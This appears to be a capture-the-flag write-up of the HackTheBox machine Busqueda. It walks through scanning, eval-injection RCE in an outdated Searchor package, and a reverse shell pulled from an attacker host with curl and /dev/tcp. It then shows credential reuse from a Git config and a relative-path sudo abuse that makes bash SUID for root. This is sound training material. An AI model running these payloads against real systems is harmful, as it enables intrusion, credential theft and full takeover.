The Busqueda machine required us enumerating the target system in order to identify an active HTTP service. Upon interaction with this service, it became apparent that the service relies on a vulnerable package, thereby opening the possibility of Remote Code Execution (RCE) on the target system. By exploiting this RCE vulnerability, we successfully established a shell under the “svc” user. By enumerating the target host’s configuration revealed hard-coded credentials. Subsequent testing revealed that the user “svc” was found to reuse the discovered credentials. Leveraging this discovery, we enumerated the commands executable by the user “svc” with root privileges. We get to know that we can execute a system checkup script capable of executing bash scripts. Through the creation of a tailored bash script, we managed to manipulate the permissions associated with the bash command, ultimately attaining a root shell.
Recon
The HTTP service has as its domain searcher.htb
, by changing the /etc/hosts
file, we will be able to reach it.
sudo echo '<target-ip> seacher.htb' >> /etc/hosts
nmap (TCP all ports)
nmap
finds two open TCP ports, a SSH service (22) and an HTTP (80) service:
$ nmap -p- searcher.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-10 09:30 WEST
Nmap scan report for 10.129.49.114
Host is up (0.057s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV searcher.htb -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-10 09:32 WEST
Nmap scan report for searcher.htb (10.129.49.114)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
$
HTTP - TCP 80
Technologies used:
By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:
Landing page
By checking the landing page we see that it seems to be a type of search engine built on Flask. could not find image
Shell as svc
Searchor
By looking closely at the web page we can see that it’s mention the tools it is built with:
In this case we can see that the tool Searchor is being used and that the version being used is 2.4.0
.
Vulnerability Patch
By looking at the source code we can see that the version (at the time of writing) is 2.5.2
, we know therefore that the version being used is outdated. After looking at the releases page we can see one release that seems interesting, this one being the 2.4.2
in this release a vulnerability was patched. By taking a look at the issue we can see the following:
What is this Pull Request About?
The simple change in this pull request replaces the execution of
search
method in the cli code from usingeval
to calling search on the specified engine by passingengine
as an attribute ofEngine
class. Because enum in Python is a set of members, each being a key-value pair, the syntax for getting members is the same as passing a dictionary.What will this Pull Request Affect?
This pull request removes the use of
eval
in the cli code, achieving the same functionality while removing vulnerability of allowing execution of arbitrary code.
This tells us that the current version on the webpage is vulnerable to RCE (Remote Code Execution), we can try to explore further this vulnerability.
If we look at the commit where the fix was implemented we can where it was present:
The code was vulnerable because it used eval to run the queries, if we can make a custom query to it we can run arbitrary python code.
Exploitation
POC
To try exploit the vulnerability I made a custom query where the command id
us executed, this way we can know if it run:
$ curl -i -s -k -X $'POST' \
--data-binary $'engine=Brave&query=\'%2b__import__(\"os\").system(\"id\")%2b\',1)#&auto_redirect=\x0d\x0a' \
$'http://searcher.htb/search' \
| grep -oP '<a\s+href="\K[^"]+'
uid=1000(svc)%20gid=1000(svc)%20groups=1000(svc)
$
And by the response we now know that we can run commands on the target machine.
Get Shell
To get an interactive shell onto the machine we will generate a custom shell script where the script is only a reverse shell to our machine.
$ cat shell
sh -i >& /dev/tcp/10.10.15.92/9001 0>&1
$ sudo python3 -m http.server 80
[sudo] password for pengrey:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.49.114 - - [10/Apr/2023 11:24:53] "GET /shell HTTP/1.1" 200 -
$
After retrieving the shell script we will pipe the insides of it onto bash so it gets executed.
$ curl -i -s -k -X $'POST' \
--data-binary $'engine=Brave&query=\'%2b__import__(\"os\").system(\"curl 10.10.15.52/shell | bash\")%2b\',1)#&auto_redirect=\x0d\x0a' \
$'http://searcher.htb/search'
$
After catching the reverse shell we achieve an interactive shell with the target.
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
<SNIP>
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@busqueda:/var/www/app$
Shell as root
Enumeration
By enumerating the directory where our reverse shell landed on, we can see that a .git
.
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr 10 06:33 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 14:35 templates
svc@busqueda:/var/www/app$ ls .git
branches
COMMIT_EDITMSG
config
description
HEAD
hooks
index
info
logs
objects
refs
svc@busqueda:/var/www/app$
By taking a look at the config file present within it we can see some hardcoded credentials present.
svc@busqueda:/var/www/app$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
svc@busqueda:/var/www/app$
Credentials found
cody:jh1usoih2bkjaspwe92
We can attempt to see if a password reuse is being done on the svc
user by checking the sudo
privileges with the credentials found. With this we can see there is password reuse and that the svc user is able to run with sudo
the command /usr/bin/python3 /opt/scripts/system-checkup.py *
on the target.
svc@busqueda:/var/www/app$ sudo -l
sudo -l
[sudo] password for svc: jh1usoih2bkjaspwe92
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app$
By trying to run the command we can see that some arguments are needed:
svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:/var/www/app$
By providing one of the needed arguments we can see that still we can’t properly run the program:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
svc@busqueda:~$
By examining the /opt/scripts
directory reveals another Git repository. This repository also holds extra scripts that appear to be invoked by the main script. By trying to run the command again but from this directory we can see that it functions correctly .
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:/opt/scripts$
This suggests that the command might be invoked using a relative path to the current directory.
With this in mind we can try to generate a custom command, that will be run by root. This command will run chmod u+s /bin/bash
enabling us to make the /bin/bash
program an SUID binary.
svc@busqueda:~$ echo -e '#!/bin/bash\nchmod u+s /bin/bash' > full-checkup.sh && chmod +x full-checkup.sh
svc@busqueda:~$
Now if we run the command and we check the permissions we see that the change was applied successfully.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:~$
What remains now is for us to take advantage of it by executing the /bin/bash
with the -p
argument:
svc@busqueda:~$ /bin/bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
bash-5.1#